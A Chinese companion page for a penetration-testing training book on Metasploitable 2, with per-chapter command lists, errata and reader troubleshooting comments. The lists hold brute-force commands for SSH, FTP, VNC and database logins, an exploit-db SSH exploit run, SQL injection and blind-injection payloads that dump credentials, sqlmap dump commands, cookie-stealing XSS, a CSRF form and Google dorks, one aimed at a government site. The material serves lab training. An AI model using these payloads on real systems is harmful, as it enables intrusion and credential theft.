metasploitable 2|白帽駭客新兵訓練營

連結勘誤表

指令或網址清單

本書使用之帳號及密碼清單檔案下載 user_pass.zip

1.2
下載 metasploitable Ⅱ 映象檔

1.2.4
防火牆設定
iptables -t filter -A INPUT -i eth0 -p tcp --dport 22 -j ACCEPT
iptables -t filter -A INPUT -i eth0 -p tcp --dport 80 -j ACCEPT
iptables -t filter -A INPUT -i eth0 -p tcp --dport 443 -j ACCEPT
iptables -t filter -A INPUT -i eth0 -j DROP
sudo iptables -t filter -F
1.4
政府機關滲透測試服務委外服務案建議書徵求文件

2.1.3
Google Hacking 語句
site:testfire.net inurl:"admin"
site:testfire.net (filetype:xls OR filetype:pdf OR filetype:txt OR filetype:mdb )
site:testfire.net (intext:"OLE DB" OR intext:".mdb" )
site:testfire.net (intext:".mdb" OR intext:"MapPath" )
site:testfire.net intitle:"testfire.net"
site:testfire.net filetype:inc conn
site:testfire.net inurl:file
site:testfire.net filetype:conf
site:testfire.net intext:"Server Error"
site:testfire.net intext:"Runtime Error"
site:moi.gov.tw intext:"Runtime Error"

3.4.2
安裝 OpenSSL 1.0.1d

sudo wget http://www.openssl.org/source/old/1.0.1/openssl-1.0.1d.tar.gz
sudo tar zxvf openssl-1.0.1d.tar.gz
cd openssl-1.0.1d
sudo ./config --prefix=/usr --openssldir=/usr/local/openssl shared
sudo make
sudo make test
       ##  如果沒有發生錯誤(Eerro Message)再執行後續的作業
sudo make install
sudo reboot            #重新開機,以便載入新版本的 OpenSSL

openssl version     # 查看 OpenSSL 的版本
     ##  看到 OpenSSL 1.0.1d 5 Feb 2013  即表示升級成功。
ldd /usr/lib/apache2/modules/mod_ssl.so
     ## ldd 只是為了查看 Apache mod_ssl.so 載入的SSL程式庫來源
cd /usr/lib/i686/cmov      ## 配合 ldd 查詢結果切換

     ## 以下四列是為了用新的 1.0.0 的程式庫取代舊的 0.9.8
sudo mv libssl.so.0.9.8  libssl.so.0.9.8bak
sudo mv libcrypto.so.0.9.8  libcrypto.0.9.8bak
sudo cp /usr/lib/libssl.so.1.0.0  libssl.so.0.9.8
sudo cp /usr/lib/libcrypto.so.1.0.0  libcrypto.so.0.9.8
sudo reboot


6.1
Hydra指令
hydra -L user.lst -P password.lst -t 2 telnet://192.168.18.133
hydra -L user.lst -P password.lst -t 4 ssh://192.168.18.133

Parator指令
patator ssh_login host=192.168.18.133 user=FILE0 password=FILE1 0=user.lst 1=password.lst -x ignore:mesg='Authentication failed.'

6.2
Hydra指令
hydra -P password.lst vnc://192.168.18.133:5900

hydra -L user.lst -P password.lst -t 4 ftp://192.168.18.133

hydra -L user.lst -P password.lst -t 1 postgres://192.168.18.133

hydra -L user.lst -P password.lst -t1 -en mysql://192.168.18.133

Parator指令
patator vnc_login host=192.168.18.133 port=5900 password=FILE0 0=password.lst -t 1 -x quit:fgrep='Too many authentication failures' --max-retries 1 -x quit:code=0 -x ignore:mesg='Authentication failure'

patator ftp_login host=192.168.18.133 user=FILE0 password=FILE1 0=user.lst 1=password.lst -x ignore:mesg='Login incorrect.'

patator pgsql_login host=192.168.18.133 user=FILE0 password=FILE1 0=user.lst 1=password.lst -x ignore:fgrep='FATAL:'

patator mysql_login host=192.168.18.133 user=FILE0 password=FILE1 0=user.lst 0=user.lst 1=password.lst -x ignore:fgrep='Access denied'

6.3
下載5622.tar.bz2
 https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5622.tar.bz2

執行腳本:
python /usr/share/exploitdb/platforms/linux/remote/5720.py ~/rsa/2048 192.168.18.133 root 22 5

8.2.1 
nmap --script http-webdav-scan --script-args http-webdav-scan.path='/dav/' -p80 192.168.18.133
nmap --script http-webdav-scan --script-args http-webdav-scan.path='/' -p80 192.168.18.133

ms09-020弱點:https://technet.microsoft.com/library/security/ms09-020

8.4.1 
phpMyAdmin3.1.1弱點清單:
https://www.cvedetails.com/vulnerability-list/vendor_id-784/product_id-1341/version_id-74483/Phpmyadmin-Phpmyadmin-3.1.1.html

8.6.1 
patator http_fuzz url=http://192.168.18.133/dvwa/login.php method=POST body='username=FILE0&password=FILE1&Login=Login' 0=dvwa_user.lst 1=dvwa_pass.lst -x ignore:fgrep='Location: login.php'

8.6.4 
偽造的請求網址:
http://192.168.18.133/dvwa/vulnerabilities/csrf/?password_current=password&password_new=1234&password_conf=1234&Change=Change

8.6.6 
找出資料庫、資料表及欄位的SQL注入,傾印使用者資料
' union select database(),'A'--
' union SELECT table_name, 'TABLEs' FROM information_schema.columns WHERE table_schema = 'dvwa'--
' union SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'dvwa' and table_name='users'--
' union select user, password from users --
8.6.7 
兩段sqlmap指令:
sqlmap -p "id" --dbms "MySQL" --os="Linux" --current-db --level=3 --risk=3 -r dvwa_header.txt --batch

sqlmap -p "id" --dbms "MySQL" --os="Linux" --dump-all -D dvwa --level=3 --risk=3 -r dvwa_header.txt --batch

8.7.1 
username欄的注入資料:
a','b', (select concat(user,':',password) from mysql.user where user='root'))--

Blind Sql Injection via timing的注入:
步驟1.
' or (if(1=1,sleep(3),sleep(0)))-- //True 時的回應時間

' or (if(2=1,sleep(3),sleep(0)))-- //False 時的回應時間

步驟2.
' or (if(CHAR_LENGTH(DATABASE())>5,sleep(3),sleep(0)))-- //true

' or (if(CHAR_LENGTH(DATABASE())<10,sleep(3),sleep(0)))--  //true

' or (if(CHAR_LENGTH(DATABASE())>7,sleep(3),sleep(0)))-- //true

步驟3.
' or (if(mid( database( ) , 1, 1 ) >'A',sleep(3),sleep(0)))-- //TRUE

' or (if(mid( database( ) , 1, 1 ) <'N',sleep(3),sleep(0)))-- //FALSE (在 N到Z之間)

' or (if (mid( database( ) , 1, 1 ) >'R',sleep(3),sleep(0)))-- //FALSE (在 N到R之間)

' or (if (mid( database( ) , 1, 1 ) >'O',sleep(3),sleep(0)))-- //FALSE (在 O 到N之間)

' or (if (mid( database( ) , 1, 1 ) ='O',sleep(3),sleep(0)))-- //TRUE (第一個字母是 O)

步驟5.
' or (if((SELECT distinct CHAR_LENGTH(table_name) from information_schema.columns where table_schema='owasp10' LIMIT 0 , 1)>5,sleep(3),sleep(0)))-- //true

' or (if((SELECT distinct CHAR_LENGTH(table_name) from information_schema.columns where table_schema='owasp10' LIMIT 0 , 1)<10,sleep(3),sleep(0)))--   //true
' or (if((SELECT distinct CHAR_LENGTH(table_name) from information_schema.columns where table_schema='owasp10' LIMIT 0 , 1)=8,sleep(3),sleep(0)))-- //true

步驟6.
' or (if (mid((select distinct table_name from information_schema.columns where table_schema='owasp10' LIMIT 0,1), 1, 1 ) >'A',sleep(3),sleep(0)))-- //FALSE ( _ 到 A)

' or (if (mid((select distinct table_name from information_schema.columns where table_schema='owasp10' LIMIT 0,1), 1, 1 ) ='A',sleep(3),sleep(0)))-- //TRUE (第一個字母是 A)

' or (if (mid((select distinct table_name from information_schema.columns where table_schema='owasp10' LIMIT 0,1), 2, 1 ) >'A',sleep(3),sleep(0)))-- //TRUE ( B 到Z)

' or (if (mid((select distinct table_name from information_schema.columns where table_schema='owasp10' LIMIT 0,1), 2, 1 ) <'N',sleep(3),sleep(0)))-- //TRUE (B 到 M)

' or (if (mid((select distinct table_name from information_schema.columns where table_schema='owasp10' LIMIT 0,1), 2, 1 ) >'E',sleep(3),sleep(0)))-- //FALSE (B 到 D)

' or (if (mid((select distinct table_name from information_schema.columns where table_schema='owasp10' LIMIT 0,1), 2, 1 ) ='C',sleep(3),sleep(0)))-- //TRUE (第二個字母是 C)

步驟8.
select distinct CHAR_LENGTH(column_name) from information_schema.columns where table_schema='owasp10' and table_name='accounts' LIMIT 0,1

select distinct column_name from information_schema.columns where table_schema='owasp10' and table_name='accounts' LIMIT 0,1

步驟9.
select distinct CHAR_LENGTH(is_admin) from accounts LIMIT 0,1

select distinct is_admin from accounts LIMIT 0,1

步驟10.
select count(is_admin) from accounts where is_admin='TRUE'

步驟11.
select distinct CHAR_LENGTH(concat(username,':',password)) from accounts where is_admin='TRUE' LIMIT 0,1

select distinct concat(username,':',password) from accounts where is_admin='TRUE' LIMIT 0,1

8.7.1 
SQLMap:
sqlmap -u "http://192.168.18.133/mutillidae/index.php?page=view-someones-blog.php" --method=POST --data="author=admin&view-someones-blog-php-submit-button=View+Blog+Entries" -p "author" --level=3 --risk=3 --dump-all --batch -v 2 -D owasp10

8.7.1 
提交資料:
tw.yahoo.com # <img height="48" onclick="javascript:alert(document.cookie);" src="./images/youtube_256_256.png" width="48" />

8.7.2
提交資料:
textfile=http%3A%2F%2Fwww.textfiles.com%2Fhacking%2Fatms%23+%3Cimg+width%3D%2748%27+height%3D%2748%27+src%3D%27.%2Fimages%2Fyoutube_256_256.png%27+onclick%3D%27javascript%3Aalert%28document.cookie%29%3B%27%3E&text-file-viewer-php-submit-button=View+File

8.7.5
網頁原始碼:
<html>
<head></head>
<body onload="document.form1.submit();">
<form id="idBlogForm" action="http://192.168.18.133/mutillidae/index.php?page=add-to-your-blog.php" method="post" name="form1">
<input name="csrf-token" value="SecurityIsDisabled">
<textarea name="blog_entry">
This is a test message! If you can view the message, CSRF succeed.
</textarea>
<input name="add-to-your-blog-php-submit-button" value="Save Blog Entry">
</form>
</body>
</html>

8.7.7
注入腳本:
<b onclick="javascript:var m = '''';var l = window.localStorage;var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + ''='' + l.getItem(lKey) + '';'';};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + ''='' + s.getItem(lKey) + '';'';};alert(m);">Beautiful pictures.</b>

9.1
neXpose註冊網址:
https://www.rapid7.com/products/nexpose/virtual-appliance-community.jsp

12.1.1
防火牆設定:
sudo iptables -A INPUT -i eth0 -s 192.16.18.136 -j ACCEPT sudo iptables -A INPUT -j DROP sudo iptables -A OUTPUT -d 192.16.18.136 -j ACCEPT sudo iptables -A OUTPUT -j ACCEPT sudo iptables-save

13.2
HacmeBank 下載:
http://www.mcafee.com/tw/downloads/free-tools/hacme-bank.aspx

13.2.1
SQL 2005 Express下載:
http://download.microsoft.com/download/4/a/0/4a0176ec-4da0-4f92-aacf-e8f7f299626c/SQLEXPR_CHT.EXE

13.2.2
Windows Installer 3.1下載:
https://www.microsoft.com/zh-TW/download/confirmation.aspx?id=25

.Net Framework 2.0下載:
https://www.microsoft.com/zh-tw/download/confirmation.aspx?id=1639

.Net Framework 3.5下載:
https://www.microsoft.com/zh-tw/download/details.aspx?id=21


勘誤表(回頁首)

頁數(行數) 修正後文字 修正前文字 修正說明
1-5(3~4) 或者編輯/etc/network/interfaces 或者編輯/etc/networks/interfaces 在目錄名稱network之後多了 s,請將它刪除
1-5(5)編輯/etc/network/interfaces編輯/etc/networks/interfaces在註解的部跟上一則錯誤相同,請將 s 刪除
1-8(-10)cd /etc/apache2/sites-availablecd /etc/apache2/sites-avaiable漏打了 l ,應該是 available 才對
1-8(-12)3. 修正/etc/apache2/sites-available/default 設定檔案,3. 修正/etc/apache2/sites-avaiable/default 設定檔案,漏打了 l ,應該是 available 才對
5-3(11) 本例即指root ; -i rshclient 是指連線時... 本例即指root ; -i rshclietn 是指連線時... 打錯字,請改成 rshclient













. .

14 則留言:

  1. 當輸入 cd /etc/apache2/sites-avaiable 時
    顯示 -bash: cd : /etc/apache2/sites-avaiable: no such file or directory

    回覆刪除
    回覆
    1. 對不起,書上的指令少打了一個字母,是「cd /etc/apaches/sites-available」才對
      感謝指正。
      (avaiable 少打了一個 l ,請改成 available)

      刪除
    2. etc下沒有apache2這個檔案,顯示no such file or directory
      請問該怎麼辦呢?

      刪除
    3. 1. etc 下有一個 apache2 的目錄,試這個指令看看「cd /etc/apache2」
      2. 如果您的系統真沒有 apache2,可利用 「apt-get install apache2 -y」安裝

      刪除
  2. 請教
    sudo wget http://www.openssl.org/source/old/1.0.1/openssl-1.0.1d.tar.gz
    sudo tar zxvf openssl-1.0.1d.tar.gz
    cd openssl-1.0.1d
    sudo ./config --prefix=/usr --openssldir=/usr/local/openssl shared
    sudo make
    sudo make test
    ## 如果沒有發生錯誤(Eerro Message)再執行後續的作業

    make[1] ***[test_cms] Error 1
    make[1]:Leaving directory ' /home/msfadmin/openssl-1.0.1d/test
    make[2]:***[tets] Error 2

    一直出現出誤怎麼解決比較好

    回覆刪除
    回覆
    1. 您要查看make test的全部訊息,在最後面會看到 Warning 或 error,它會指出是 MAKE file的哪一條有問題。

      可執行 sudo make test>err.log 將訊息導到文字檔,方便文字編輯器查看。

      刪除
  3. 想請問1.2章節,我重新啟動完apache伺服器,但是是無法連上網頁該怎麼辦。

    回覆刪除
    回覆
    1. 您可以先在本機 service --status-all 查看apache是否有正常啟動,或telnet 127.0.0.1 80,看能不能連上。
      因為「無法連上網頁」的原因很多,您這樣問,我也很難告訴您答案。

      刪除
    2. 你好,它顯示Connection closed by foreign host

      刪除
    3. 你好,我telnet 127.0.0.1 80 它顯示Connection closed by foreign host

      刪除
    4. 請問是一打完「telnet 127.0.0.1 80」就跳出Connection closed by foreign host,還是有出現其他文字,最後才跳出Connection closed by foreign host。
      能不能截圖,比較好判斷!

      刪除
    5. 是telnet 127.0.0.1 80 就跳出Connection closed by foreign host,這是圖片網址https://imgur.com/a/P1YlHne。
      麻煩您了。

      刪除
    6. 您要連的機器在192.168.18.133,所以請您先ping 192.168.18.133,看看從kali是否能連到192.168.18.133。
      如果可以ping得到,再測試telnet 192.168.18.133 80 或 telnet 192.168.18.133 443。
      因為您使用兩台虛擬機,這要請您自行確認兩台的網路是否相通。

      您已啟動kali本機的apache,可以在瀏覽器上輸入 http://120.0.0.1/,應該會看到首頁,但您的metasploitable2是在別一台(192.168.18.133),從瀏覽器的訊息來看,應該是網路不通。

      刪除